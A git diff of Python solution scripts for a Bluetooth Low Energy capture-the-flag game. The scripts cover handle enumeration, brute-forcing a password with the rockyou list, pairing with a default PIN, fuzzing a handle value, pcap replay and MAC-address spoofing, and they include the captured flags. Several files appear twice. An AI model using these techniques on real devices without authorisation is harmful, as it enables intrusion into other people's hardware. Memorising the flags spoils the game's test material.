a/lvl_01.py b/lvl_01.py new file mode 100755 index 0000000..f4046b7 --- /dev/null +++ b/lvl_01.py @@ -0,0 +1,29 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ goodbye 👋 + +fc3fd58dcdad9ab23fac +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 1") +hex1 = binascii.unhexlify(str('%0*x' % (4,1))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + + +print("Reading value") +hex1 = p.readCharacteristic(0x2C) +hex2 = binascii.b2a_hex(hex1) +hexlif2 = str(binascii.unhexlify(hex2)) +print("Flag: %s" % hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/lvl_02.py b/lvl_02.py new file mode 100755 index 0000000..b6665d8 --- /dev/null +++ b/lvl_02.py @@ -0,0 +1,41 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ WRITE Enter password here. Use rockyou. +44 0x2C READ +46 0x2E READ WRITE write here to goto to scoreboard + +password1234 - eca7d1f3cf60a8b5344a +''' + +rockyou = "/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt" + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 02") +hex1 = binascii.unhexlify(str('%0*x' % (4,2))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +with open(rockyou) as f: + for password in f: + + sys.stdout.write("\rTrying: %s " % password.rstrip()) + response = p.writeCharacteristic(0x2A, password.rstrip(), withResponse=True) + + hex1 = p.readCharacteristic(0x2C) + hex2 = binascii.b2a_hex(hex1) + hexlif2 = str(binascii.unhexlify(hex2)) + + if hexlif2 <> "": + print "\rPassword Found: %s" % password.rstrip() + print "Flag: %s" % hexlif2 + break; + +p.disconnect() \ No newline at end of file diff --git a/lvl_03.py b/lvl_03.py new file mode 100755 index 0000000..bc95b86 --- /dev/null +++ b/lvl_03.py @@ -0,0 +1,110 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +from __future__ import print_function # import print from python3: end="" +import time +import re +import pexpect # sudo apt-get install python-pexpect +import subprocess +import random +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +Service +42 0x2A READ Connect with pin 0000. Try using bluetoothctl + +b46fa238cf820d0f60c1 +''' + +# !!! make sure bluetoothd runs in --compat mode before executing this script !!! +def pair_with_pin(start_time, pin, time_limit=60): # int(time.time()), pin - \d{4}, time_limit - approximate pairing window time in seconds, it might take up to 2x (nested timeout conditions) + "exectutes pairing with entered PIN on bluetooth adapter side" + try: + + newpid = os.fork() + if newpid == 0: + ''' + Start bluepy stuff + ''' + subprocess.call(['hciconfig','hci0','down']) + subprocess.call(['hciconfig','hci0','up']) + + deviceMAC = open('ctf_mac.txt').read() + p = btle.Peripheral(deviceMAC) + svc=p.getServiceByUUID("0000180d-0000-1000-8000-00805f9b34fb") + print ("Attached to peripheral") + hex1 = p.readCharacteristic(0x2C) + hex2 = binascii.b2a_hex(hex1) + hexlif2 = str(binascii.unhexlify(hex2)) + print("Flag: "+hexlif2) + p.disconnect() + exit() + else: + ''' + Start actual pair stuff + ''' + subprocess.call(['hciconfig','hci0','sspmode', '0']) + + # bluetoothctl + child = pexpect.spawn('bluetoothctl') + child.logfile = open("/tmp/mylog", "w") + child.expect("#") + child.sendline('agent off') # might be unnecessary + #child.sendline('scan on') # might be unnecessary + child.expect("unregistered") + + child.sendline('agent KeyboardDisplay ') + child.expect("Agent registered") + child.sendline('pairable on') + child.expect("pairable on succeeded") + child.sendline('discoverable on') + child.expect("discoverable on succeeded") + child.sendline('default-agent') + child.sendline('remove 3c:71:bf:f1:ef:c6') + child.sendline('pair 3c:71:bf:f1:ef:c6') + + child.expect('Request passkey', timeout = time_limit ) # timeout <= PAIRING_TIME_LIMIT to keep some kind of logic + print ('Sending PIN: ' + pin) + child.sendline(pin) + i = child.expect(['Paired: yes', 'Enter passkey:'], timeout = time_limit) + if i == 0: # found 'Paired: yes' == successful pairing + trust_mac = 'trust ' + re.search(r'(?:[0-9a-fA-F]:?){12}.+$', child.before).group(0) # extract MAC from last line, one with 'Paired: Yes' + child.sendline(trust_mac) # optionally add device to trusted + child.expect('trust succeeded', timeout = 10) + pairing_status = True + else: # i == 1 + print('wrong PIN, retrying if time will allow') + except pexpect.EOF: + print ('!!!!!!!! EOF') + except pexpect.TIMEOUT: + print ('!!!!!!!! TIMEOUT') + + # hide Pi's bluetooth for security reasons + child.sendline('pairable off') + child.expect("pairable off succeeded") + child.sendline('discoverable off') + child.expect("discoverable off succeeded") + child.close() + + return pairing_status + +#main program body +PAIRING_TIME_LIMIT = 60 +BT_PIN = "0000" # random.randint(1000,10000) # generate random 4-digit PIN 1000..9999 + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 02") +hex1 = binascii.unhexlify(str('%0*x' % (4,3))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +p.disconnect() + +status = pair_with_pin(int(time.time()), str(BT_PIN), PAIRING_TIME_LIMIT) +if status == True: + print('Pairing successful') \ No newline at end of file diff --git a/lvl_04.py b/lvl_04.py new file mode 100755 index 0000000..21ede3e --- /dev/null +++ b/lvl_04.py @@ -0,0 +1,104 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle +import itertools + +''' +42 0x2A READ Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag! +44 0x2C NOTIFY WRITE +46 0x2E READ WRITE write here to goto to scoreboard + +Flag: f401f21d02fdd0a4fc00 +''' + +notificationData = "" + +class MyDelegate(btle.DefaultDelegate): + def __init__(self, hndl): + btle.DefaultDelegate.__init__(self) + self.hndl=hndl; + + def handleNotification(self, cHandle, data): + global notificationData + notificationData = data + #print("d: "+data) + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) + +print ("Attached to peripheral") + +print("Loading level 04") +hex1 = binascii.unhexlify(str('%0*x' % (4,4))) +p.writeCharacteristic(0x30, hex1, withResponse=False) +p.disconnect() + +''' +# of course not, this brute-force would make sense! +charset = "01234565789ABCDEF" +generator = itertools.chain.from_iterable((''.join(l) + for l in itertools.product(charset, repeat=i)) + for i in range(4,5)) +''' + +''' +# not this! +print("Generating wordlist") +charset = "01234565789ABCDEF" +generator = itertools.chain.from_iterable((''.join(l) + for l in itertools.product(charset, repeat=i)) + for i in range(12,13)) +''' + +print("Generating wordlist") +generator = list() +charset = list("0123456789ABCDEF") +origPass = list("AABBCCDDEEFF") +for x in range(len(origPass)): + newPass = list("AABBCCDDEEFF") + for y in range(len(charset)): + newPass = list("AABBCCDDEEFF") + newPass[x] = charset[y] + generator.append("".join(newPass)) + +for password in generator: + hexlif2 = binascii.unhexlify(password) + hexlif2 = str(hexlif2) + + deviceMAC = open('ctf_mac.txt').read() + p = btle.Peripheral(deviceMAC) + + try: + srvs = (p.getServices()); + chs=srvs[2].getCharacteristics(); + ch=chs[1]; + cccd = ch.valHandle + 1 + #print(str(ch)+str(ch.propertiesToString())); # print charchteristic's properties i.e. READ, WRITE, NOTIFY + + p.setDelegate(MyDelegate(ch.getHandle())); + svc=p.getServiceByUUID(0x00FF) + p.writeCharacteristic(cccd, b"\x01\x00"); + + sys.stdout.write("\rTrying: %s" % password.rstrip()) + response = p.writeCharacteristic(0x2C, hexlif2) + + gotResponse = False + while gotResponse == False: + if p.waitForNotifications(1.0): + rsp = notificationData + hex = binascii.b2a_hex(rsp) + hexstr = str(hex).strip("0").upper() + #sys.stdout.write(" Response: " + hexstr) # for debugging + + if(password.strip("0") != hexstr): + print(" Flag: %s" % notificationData.rstrip()) + exit() + else: + gotResponse = True + continue + print "Waiting..." + + finally: + p.disconnect() \ No newline at end of file diff --git a/lvl_05.py b/lvl_05.py new file mode 100755 index 0000000..f98d9b9 --- /dev/null +++ b/lvl_05.py @@ -0,0 +1,38 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ find a valid write value in this pcap to use below +44 0x2C READ WRITE https://github.com/hackgnar/ble_ctf_infinity/blob/master/gatt_servers/pcap_write/write_sample.pcap +46 0x2E READ WRITE write here to goto to scoreboard + +84cf61c35b2d9c92217d +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 05") +hex1 = binascii.unhexlify(str('%0*x' % (4,5))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +print("Sending \"121212121222\" to 0x2c") + +services=p.getServices() + +hexlif2 = binascii.unhexlify("121212121222") +hexlif2 = str(hexlif2) +response = p.writeCharacteristic(0x2C, hexlif2, True) + +print("Reading value") +hex1 = p.readCharacteristic(0x2C) +hex2 = binascii.b2a_hex(hex1) +hexlif2 = str(binascii.unhexlify(hex2)) +print("Flag: %s" % hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/lvl_05_solution.png b/lvl_05_solution.png new file mode 100644 index 0000000..310f5c6 --- /dev/null +++ b/lvl_05_solution.png Binary files differ diff --git a/lvl_06.py b/lvl_06.py new file mode 100755 index 0000000..a2cd758 --- /dev/null +++ b/lvl_06.py @@ -0,0 +1,32 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle +import subprocess + +''' +42 0x2A READ Connect with mac 11:22:33:44:55:66. Try using bluez's bdaddr +44 0x2C READ +46 0x2E READ WRITE write here to goto to scoreboard + +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 06") +hex1 = binascii.unhexlify(str('%0*x' % (4,5))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +subprocess.call(['bdaddr','-i', 'hci0','11:22:33:44:55:66', '0']) + +print("Reading value") +hex1 = p.readCharacteristic(0x2C) +hex2 = binascii.b2a_hex(hex1) +hexlif2 = str(binascii.unhexlify(hex2)) +print("Flag: %s" % hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/notes.txt b/notes.txt new file mode 100644 index 0000000..71efc09 --- /dev/null +++ b/notes.txt @@ -0,0 +1,4 @@ +Search for MAC addresses around: + hcitool lescan +enumerate the MAC + bleah -b 11:22:33:44:55:66 -e \ No newline at end of file diff --git a/reset_scoreboard.py b/reset_scoreboard.py new file mode 100755 index 0000000..43da655 --- /dev/null +++ b/reset_scoreboard.py @@ -0,0 +1,30 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +chall_uuid = 0x32 +score_uuid = 0x00ff + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") +services=p.getServices() + +print("Resetting scoreboard") +hex1 = binascii.unhexlify("C1EA12") +response = p.writeCharacteristic(chall_uuid, hex1, True) +#print (response) + +scoreboard = p.getServiceByUUID(score_uuid) +#print(scoreboard) +q = scoreboard.getCharacteristics() +for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + hexlif2 = binascii.unhexlify(hex2) + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/ctf_mac.txt b/ctf_mac.txt new file mode 100644 index 0000000..ff07818 --- /dev/null +++ b/ctf_mac.txt @@ -0,0 +1 @@ +3c:71:bf:f1:ef:c6 \ No newline at end of file diff --git a/enumerate.py b/enumerate.py new file mode 100755 index 0000000..9994109 --- /dev/null +++ b/enumerate.py @@ -0,0 +1,23 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") +services=p.getServices() +for service in services: + print (service) + q = service.getCharacteristics() + for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + hexlif2 = binascii.unhexlify(hex2) + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) + +p.disconnect() \ No newline at end of file diff --git a/enumerate.sh b/enumerate.sh new file mode 100755 index 0000000..59cb9a5 --- /dev/null +++ b/enumerate.sh @@ -0,0 +1,2 @@ +#!/bin/bash +bleah -b `cat ctf_mac.txt` -e \ No newline at end of file diff --git a/level_04.py b/level_04.py new file mode 100644 index 0000000..252cefb --- /dev/null +++ b/level_04.py @@ -0,0 +1,46 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag! +44 0x2C NOTIFY WRITE +46 0x2E READ WRITE write here to goto to scoreboard +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 04") +hex1 = binascii.unhexlify(str('%0*x' % (4,2))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +password = "AABBCCDDEEFF" + +sys.stdout.write("\rTrying: %s " % password.rstrip()) +response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True) +while True: + if p.waitForNotifications(1.0): + # handleNotification() was called + continue + print "Waiting..." + + #hex1 = p.readCharacteristic(0x2C) + #hex2 = binascii.b2a_hex(hex1) + #hexlif2 = str(binascii.unhexlify(hex2)) + +class MyDelegate(btle.DefaultDelegate): + def __init__(self, params): + btle.DefaultDelegate.__init__(self) + # ... initialise here + + def handleNotification(self, cHandle, data): + # ... perhaps check cHandle + # ... process 'data' + print("Data: "+data) + +p.disconnect() \ No newline at end of file diff --git a/load_level.py b/load_level.py new file mode 100755 index 0000000..fd7da0f --- /dev/null +++ b/load_level.py @@ -0,0 +1,60 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +chall_uuid = 0x30 +board_uuid = 0x2e +score_uuid = 0x00ff + +if len(sys.argv) != 2: + print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>" + quit() + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +#p.connect(deviceMAC, "public") +if( sys.argv[1] == "s"): + # load scroebaord... hopefully + print("Loading scoreboard") + #deviceMAC = open('ctf_mac.txt').read() + #p = btle.Peripheral(deviceMAC) + response = p.writeCharacteristic(board_uuid, "fuck you") +else: + level = int(sys.argv[1]) + level_hex = str('%0*x' % (4,level)) + print level_hex + + + + #print ("Attached to peripheral") + #services = p.getServiceByUUID(score_uuid) + #char = services.getCharacteristics(chall_uuid)[0] + + print("Loading level") + #char.write(level_hex) + hex1 = binascii.unhexlify(level_hex) + response = p.writeCharacteristic(chall_uuid, hex1) + +print("If error try again...it takes a few attempts, BLE is a bit crap") +p.disconnect() +time.sleep(1) +p = btle.Peripheral(deviceMAC) + +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +scoreboard = p.getServiceByUUID(score_uuid) +q = scoreboard.getCharacteristics() +for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + #hexlif2 = binascii.unhexlify(hex2) + hexlif2 = characteristic.read() + + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + + else: + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() ) +p.disconnect() diff --git a/lvl_00.py b/lvl_00.py new file mode 100755 index 0000000..de7cb6f --- /dev/null +++ b/lvl_00.py @@ -0,0 +1,29 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +simply follow the example https://github.com/hackgnar/ble_ctf_infinity +to ensure know how to read and write to charachteristics and know the basics of how to navigate the game +understand GATT services, charachteristics and handles.. the basics. +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") + +handle = "0x2e" +content = "12345678901234567890" + +print("Sending \"12345678901234567890\" to 0x2e") + +services=p.getServices() + +hex_int = int(handle, 16) +hex1 = binascii.hexlify(handle) +response = p.writeCharacteristic(hex_int, content, True) +print("Done") + +p.disconnect() \ No newline at end of file diff --git a/lvl_01.py b/lvl_01.py new file mode 100755 index 0000000..f4046b7 --- /dev/null +++ b/lvl_01.py @@ -0,0 +1,29 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ goodbye 👋 + +fc3fd58dcdad9ab23fac +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 1") +hex1 = binascii.unhexlify(str('%0*x' % (4,1))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + + +print("Reading value") +hex1 = p.readCharacteristic(0x2C) +hex2 = binascii.b2a_hex(hex1) +hexlif2 = str(binascii.unhexlify(hex2)) +print("Flag: %s" % hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/lvl_02.py b/lvl_02.py new file mode 100755 index 0000000..b6665d8 --- /dev/null +++ b/lvl_02.py @@ -0,0 +1,41 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ WRITE Enter password here. Use rockyou. +44 0x2C READ +46 0x2E READ WRITE write here to goto to scoreboard + +password1234 - eca7d1f3cf60a8b5344a +''' + +rockyou = "/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt" + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 02") +hex1 = binascii.unhexlify(str('%0*x' % (4,2))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +with open(rockyou) as f: + for password in f: + + sys.stdout.write("\rTrying: %s " % password.rstrip()) + response = p.writeCharacteristic(0x2A, password.rstrip(), withResponse=True) + + hex1 = p.readCharacteristic(0x2C) + hex2 = binascii.b2a_hex(hex1) + hexlif2 = str(binascii.unhexlify(hex2)) + + if hexlif2 <> "": + print "\rPassword Found: %s" % password.rstrip() + print "Flag: %s" % hexlif2 + break; + +p.disconnect() \ No newline at end of file diff --git a/lvl_03.py b/lvl_03.py new file mode 100755 index 0000000..bc95b86 --- /dev/null +++ b/lvl_03.py @@ -0,0 +1,110 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +from __future__ import print_function # import print from python3: end="" +import time +import re +import pexpect # sudo apt-get install python-pexpect +import subprocess +import random +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +Service +42 0x2A READ Connect with pin 0000. Try using bluetoothctl + +b46fa238cf820d0f60c1 +''' + +# !!! make sure bluetoothd runs in --compat mode before executing this script !!! +def pair_with_pin(start_time, pin, time_limit=60): # int(time.time()), pin - \d{4}, time_limit - approximate pairing window time in seconds, it might take up to 2x (nested timeout conditions) + "exectutes pairing with entered PIN on bluetooth adapter side" + try: + + newpid = os.fork() + if newpid == 0: + ''' + Start bluepy stuff + ''' + subprocess.call(['hciconfig','hci0','down']) + subprocess.call(['hciconfig','hci0','up']) + + deviceMAC = open('ctf_mac.txt').read() + p = btle.Peripheral(deviceMAC) + svc=p.getServiceByUUID("0000180d-0000-1000-8000-00805f9b34fb") + print ("Attached to peripheral") + hex1 = p.readCharacteristic(0x2C) + hex2 = binascii.b2a_hex(hex1) + hexlif2 = str(binascii.unhexlify(hex2)) + print("Flag: "+hexlif2) + p.disconnect() + exit() + else: + ''' + Start actual pair stuff + ''' + subprocess.call(['hciconfig','hci0','sspmode', '0']) + + # bluetoothctl + child = pexpect.spawn('bluetoothctl') + child.logfile = open("/tmp/mylog", "w") + child.expect("#") + child.sendline('agent off') # might be unnecessary + #child.sendline('scan on') # might be unnecessary + child.expect("unregistered") + + child.sendline('agent KeyboardDisplay ') + child.expect("Agent registered") + child.sendline('pairable on') + child.expect("pairable on succeeded") + child.sendline('discoverable on') + child.expect("discoverable on succeeded") + child.sendline('default-agent') + child.sendline('remove 3c:71:bf:f1:ef:c6') + child.sendline('pair 3c:71:bf:f1:ef:c6') + + child.expect('Request passkey', timeout = time_limit ) # timeout <= PAIRING_TIME_LIMIT to keep some kind of logic + print ('Sending PIN: ' + pin) + child.sendline(pin) + i = child.expect(['Paired: yes', 'Enter passkey:'], timeout = time_limit) + if i == 0: # found 'Paired: yes' == successful pairing + trust_mac = 'trust ' + re.search(r'(?:[0-9a-fA-F]:?){12}.+$', child.before).group(0) # extract MAC from last line, one with 'Paired: Yes' + child.sendline(trust_mac) # optionally add device to trusted + child.expect('trust succeeded', timeout = 10) + pairing_status = True + else: # i == 1 + print('wrong PIN, retrying if time will allow') + except pexpect.EOF: + print ('!!!!!!!! EOF') + except pexpect.TIMEOUT: + print ('!!!!!!!! TIMEOUT') + + # hide Pi's bluetooth for security reasons + child.sendline('pairable off') + child.expect("pairable off succeeded") + child.sendline('discoverable off') + child.expect("discoverable off succeeded") + child.close() + + return pairing_status + +#main program body +PAIRING_TIME_LIMIT = 60 +BT_PIN = "0000" # random.randint(1000,10000) # generate random 4-digit PIN 1000..9999 + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 02") +hex1 = binascii.unhexlify(str('%0*x' % (4,3))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +p.disconnect() + +status = pair_with_pin(int(time.time()), str(BT_PIN), PAIRING_TIME_LIMIT) +if status == True: + print('Pairing successful') \ No newline at end of file diff --git a/lvl_04.py b/lvl_04.py new file mode 100755 index 0000000..21ede3e --- /dev/null +++ b/lvl_04.py @@ -0,0 +1,104 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle +import itertools + +''' +42 0x2A READ Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag! +44 0x2C NOTIFY WRITE +46 0x2E READ WRITE write here to goto to scoreboard + +Flag: f401f21d02fdd0a4fc00 +''' + +notificationData = "" + +class MyDelegate(btle.DefaultDelegate): + def __init__(self, hndl): + btle.DefaultDelegate.__init__(self) + self.hndl=hndl; + + def handleNotification(self, cHandle, data): + global notificationData + notificationData = data + #print("d: "+data) + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) + +print ("Attached to peripheral") + +print("Loading level 04") +hex1 = binascii.unhexlify(str('%0*x' % (4,4))) +p.writeCharacteristic(0x30, hex1, withResponse=False) +p.disconnect() + +''' +# of course not, this brute-force would make sense! +charset = "01234565789ABCDEF" +generator = itertools.chain.from_iterable((''.join(l) + for l in itertools.product(charset, repeat=i)) + for i in range(4,5)) +''' + +''' +# not this! +print("Generating wordlist") +charset = "01234565789ABCDEF" +generator = itertools.chain.from_iterable((''.join(l) + for l in itertools.product(charset, repeat=i)) + for i in range(12,13)) +''' + +print("Generating wordlist") +generator = list() +charset = list("0123456789ABCDEF") +origPass = list("AABBCCDDEEFF") +for x in range(len(origPass)): + newPass = list("AABBCCDDEEFF") + for y in range(len(charset)): + newPass = list("AABBCCDDEEFF") + newPass[x] = charset[y] + generator.append("".join(newPass)) + +for password in generator: + hexlif2 = binascii.unhexlify(password) + hexlif2 = str(hexlif2) + + deviceMAC = open('ctf_mac.txt').read() + p = btle.Peripheral(deviceMAC) + + try: + srvs = (p.getServices()); + chs=srvs[2].getCharacteristics(); + ch=chs[1]; + cccd = ch.valHandle + 1 + #print(str(ch)+str(ch.propertiesToString())); # print charchteristic's properties i.e. READ, WRITE, NOTIFY + + p.setDelegate(MyDelegate(ch.getHandle())); + svc=p.getServiceByUUID(0x00FF) + p.writeCharacteristic(cccd, b"\x01\x00"); + + sys.stdout.write("\rTrying: %s" % password.rstrip()) + response = p.writeCharacteristic(0x2C, hexlif2) + + gotResponse = False + while gotResponse == False: + if p.waitForNotifications(1.0): + rsp = notificationData + hex = binascii.b2a_hex(rsp) + hexstr = str(hex).strip("0").upper() + #sys.stdout.write(" Response: " + hexstr) # for debugging + + if(password.strip("0") != hexstr): + print(" Flag: %s" % notificationData.rstrip()) + exit() + else: + gotResponse = True + continue + print "Waiting..." + + finally: + p.disconnect() \ No newline at end of file diff --git a/lvl_05.py b/lvl_05.py new file mode 100755 index 0000000..f98d9b9 --- /dev/null +++ b/lvl_05.py @@ -0,0 +1,38 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +''' +42 0x2A READ find a valid write value in this pcap to use below +44 0x2C READ WRITE https://github.com/hackgnar/ble_ctf_infinity/blob/master/gatt_servers/pcap_write/write_sample.pcap +46 0x2E READ WRITE write here to goto to scoreboard + +84cf61c35b2d9c92217d +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 05") +hex1 = binascii.unhexlify(str('%0*x' % (4,5))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +print("Sending \"121212121222\" to 0x2c") + +services=p.getServices() + +hexlif2 = binascii.unhexlify("121212121222") +hexlif2 = str(hexlif2) +response = p.writeCharacteristic(0x2C, hexlif2, True) + +print("Reading value") +hex1 = p.readCharacteristic(0x2C) +hex2 = binascii.b2a_hex(hex1) +hexlif2 = str(binascii.unhexlify(hex2)) +print("Flag: %s" % hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/lvl_05_solution.png b/lvl_05_solution.png new file mode 100644 index 0000000..310f5c6 --- /dev/null +++ b/lvl_05_solution.png Binary files differ diff --git a/lvl_06.py b/lvl_06.py new file mode 100755 index 0000000..a2cd758 --- /dev/null +++ b/lvl_06.py @@ -0,0 +1,32 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle +import subprocess + +''' +42 0x2A READ Connect with mac 11:22:33:44:55:66. Try using bluez's bdaddr +44 0x2C READ +46 0x2E READ WRITE write here to goto to scoreboard + +''' + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +svc=p.getServiceByUUID(0x00FF) +print ("Attached to peripheral") + +print("Loading level 06") +hex1 = binascii.unhexlify(str('%0*x' % (4,5))) +p.writeCharacteristic(0x30, hex1, withResponse=False) + +subprocess.call(['bdaddr','-i', 'hci0','11:22:33:44:55:66', '0']) + +print("Reading value") +hex1 = p.readCharacteristic(0x2C) +hex2 = binascii.b2a_hex(hex1) +hexlif2 = str(binascii.unhexlify(hex2)) +print("Flag: %s" % hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/notes.txt b/notes.txt new file mode 100644 index 0000000..71efc09 --- /dev/null +++ b/notes.txt @@ -0,0 +1,4 @@ +Search for MAC addresses around: + hcitool lescan +enumerate the MAC + bleah -b 11:22:33:44:55:66 -e \ No newline at end of file diff --git a/reset_scoreboard.py b/reset_scoreboard.py new file mode 100755 index 0000000..43da655 --- /dev/null +++ b/reset_scoreboard.py @@ -0,0 +1,30 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + +chall_uuid = 0x32 +score_uuid = 0x00ff + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") +services=p.getServices() + +print("Resetting scoreboard") +hex1 = binascii.unhexlify("C1EA12") +response = p.writeCharacteristic(chall_uuid, hex1, True) +#print (response) + +scoreboard = p.getServiceByUUID(score_uuid) +#print(scoreboard) +q = scoreboard.getCharacteristics() +for characteristic in q: + hex1 = int(format(characteristic.getHandle(),'02X'), 16) + if (characteristic.supportsRead()): + hex2 = binascii.b2a_hex(p.readCharacteristic(hex1)) + hexlif2 = binascii.unhexlify(hex2) + print (str(hex1)+" 0x"+ format(characteristic.getHandle(),'02X') +" "+ characteristic.propertiesToString() + " " + hexlif2) + +p.disconnect() \ No newline at end of file diff --git a/send2handle.py b/send2handle.py new file mode 100755 index 0000000..c5dfe47 --- /dev/null +++ b/send2handle.py @@ -0,0 +1,31 @@ +#! /usr/bin/python +import binascii +import struct +import sys, os, time +import bluepy.btle as btle + + +if len(sys.argv) != 3: + print "send content to handle\n eg.", sys.argv[0], "0x30 \"some content\"" + quit() + +deviceMAC = open('ctf_mac.txt').read() +p = btle.Peripheral(deviceMAC) +print ("Attached to peripheral") + +handle = sys.argv[1] +content = sys.argv[2] + +print("Sending \""+content+"\" to "+handle) + +services=p.getServices() + +hex_int = int(handle, 16) +new_int = hex_int + 0x200 +print(hex_int) +hex1 = binascii.hexlify(handle) +#hex2 = binascii.unhexlify(str(content)) +response = p.writeCharacteristic(hex_int, content, True) +print (response) + +p.disconnect() \ No newline at end of file diff --git a/ctf_mac.txt b/ctf_mac.txt new file mode 100644 index 0000000..ff07818 --- /dev/null +++ b/ctf_mac.txt @@ -0,0 +1 @@ +3c:71:bf:f1:ef:c6 \ No newline at end of file diff --git a/enumerate.py b/enumerate.py new file mode 